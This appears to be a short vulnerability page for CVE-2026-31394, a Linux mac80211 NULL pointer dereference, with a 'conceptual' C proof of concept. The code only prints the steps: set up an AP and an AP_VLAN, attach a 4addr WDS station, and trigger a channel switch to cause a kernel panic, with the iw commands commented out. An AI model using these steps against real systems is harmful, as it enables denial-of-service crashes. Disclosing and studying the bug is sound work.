CVE-2026-31394: Linux内核mac80211空指针引用崩溃漏洞

/* * Conceptual Proof of Concept for CVE-2026-31394 * This code demonstrates the logic flow to trigger the crash. * Requires a system with a wireless card supporting AP and AP_VLAN modes. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulating the steps to reproduce the vulnerability: // 1. Create a wireless Access Point (AP) interface. // 2. Create an AP_VLAN interface associated with the AP. // 3. Configure a 4addr WDS client (station) on the AP_VLAN interface. // 4. Trigger a Channel Switch Announcement (CSA) on the AP. void trigger_vulnerability() { printf("[+] Setting up AP interface...\n"); // system("iw dev wlan0 interface add wlan0-ap type __ap"); printf("[+] Adding AP_VLAN interface...\n"); // system("iw dev wlan0-ap interface add wlan0-vlan type __ap vlan 1"); printf("[+] Associating a 4addr WDS station to VLAN...\n"); // This sets up sta->sdata to point to the VLAN sdata printf("[+] Triggering Channel Switch (CSA)...\n"); // This invokes ieee80211_chan_bw_change(), which crashes // when iterating the VLAN station and accessing NULL chan. printf("[-] Kernel panic expected (NULL pointer dereference)\n"); } int main() { trigger_vulnerability(); return 0; }